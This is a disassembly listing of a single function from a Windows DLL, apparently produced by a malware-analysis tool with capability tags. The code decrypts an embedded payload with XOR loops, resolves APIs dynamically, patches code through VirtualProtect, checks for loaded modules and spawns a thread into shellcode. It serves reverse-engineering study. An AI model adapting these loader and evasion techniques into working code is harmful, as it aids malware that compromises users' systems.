Function at 0x10009f40
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10136994]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov dword [ebp - 0x44], 0
jne 0x1000a306
mov eax, dword [ebp + 8]
push 0
push 0x92169f
push 0x10137f18
push 0x400000
mov dword [0x10137a34], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmm1, xmmword [0x1002ad30]
mov eax, 0x10137f28
movaps xmm2, xmmword [str.wwwwwwwwwwwwwwww]
mov edx, 0x490b4
mov ecx, 0x921680
nop word [eax + eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10009fb0
nop dword [eax + eax]
mov al, byte [ecx + 0x10137f18]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10137f18], al
inc ecx
cmp ecx, 0x92169f
jb 0x10009ff0
push 0x94
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10010040
add esp, 0xc
mov dword [ebp - 0x108], 0x94
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x104], 6
mov ecx, 1
ja 0x1000a059
movzx eax, byte [0x10137b70]
cmp dword [ebp - 0x100], ecx
cmovbe eax, ecx
mov byte [0x10137b70], al
mov edx, 0x54
xor ecx, ecx
mov al, byte [ecx + 0x1002ac78]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x1000a060
mov byte [ebp - 8], 0
mov edx, 0xae
xor ecx, ecx
mov al, byte [ecx + 0x1002a9ec]
xor al, dl
mov byte [ebp + ecx - 0x58], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x1000a083
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 0x4a], 0
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movq qword [ebp - 0x58], xmm0
mov word [ebp - 0x4c], 0
lea eax, [esi + 5]
mov byte [ebp - 0x4a], 0
mov dword [0x10137f14], eax
lea eax, [ebp - 0x44]
push eax
push 0x40
push 5
push 0x10008c10
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call ebx
mov eax, dword [esi]
mov ecx, 0x10008c10
mov dword [ecx], eax
mov al, byte [esi + 4]
mov byte [ecx + 4], al
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 5
push 0x10008c10
call ebx
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x6e69616d
push eax
mov dword [ebp - 0x44], 0x66772e
call edi
test eax, eax
jne 0x1000a17e
mov edx, 0x50
xor ecx, ecx
nop
mov al, byte [ecx + str.2_:1__y_56]
xor al, dl
mov byte [ebp + ecx - 0x74], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x1000a140
lea eax, [ebp - 0x74]
mov byte [ebp - 0x69], 0
push eax
call edi
test eax, eax
jne 0x1000a17e
push 0x73dc8503
lea ecx, [ebp - 0x68]
call fcn.10002360
push eax
call edi
test eax, eax
jne 0x1000a17e
mov al, 1
jmp 0x1000a180
xor al, al
test al, al
je 0x1000a19f
call fcn.1000b400
push 0x101379fc
push 0x10008af0
push esi
call fcn.1000b260
push esi
call fcn.1000b3e0
mov edx, 0x9b
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1002ac9c]
xor al, dl
mov byte [ebp + ecx - 0x5c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000a1b0
push 0x44a34994
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x4a], 0
call fcn.100022a0
lea ecx, [ebp - 0x5c]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov word [ebp - 0x60], 0
push ecx
push eax
movq qword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0
mov byte [ebp - 0x4a], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x44]
push eax
push 0x40
push 0x1e
push 0x10006a10
call ebx
push 0x1e
lea eax, [ebp - 0x40]
push eax
push 0x10006a10
call fcn.1000fac0
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 0x1e
push 0x10006a10
call ebx
push 0xc
lea eax, [ebp - 0x68]
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
push eax
push 0x400000
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], 0xffffffa1
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffff8b32
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
mov dword [ebp - 0x68], 0
movq qword [ebp - 0x64], xmm0
call esi
push eax
call sub.PSAPI.DLL_GetModuleInformation
mov esi, dword [ebp - 0x64]
xor edx, edx
test esi, esi
je 0x1000a322
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x1000a2d6
cmp byte [eax + edx + 0x400000], cl
jne 0x1000a31b
inc eax
cmp eax, 0x1b
jl 0x1000a2c4
lea eax, [edx + 0x400000]
test eax, eax
je 0x1000a2ee
mov eax, dword [eax + 1]
mov dword [0x10137c18], eax
push 0
push 0
push 0
push 0x10004d40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1000d4ed
mov esp, ebp
pop ebp
ret 0xc
inc edx
cmp edx, esi
jb 0x1000a2c2
jmp 0x1000a2ee
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x1000a336
cmp byte [eax + edx + 0x400000], cl
jne 0x1000a33e
inc eax
cmp eax, 0x1b
jl 0x1000a324
jmp 0x1000a2dc
inc edx
cmp edx, 0x2000000
jb 0x1000a322
jmp 0x1000a2ee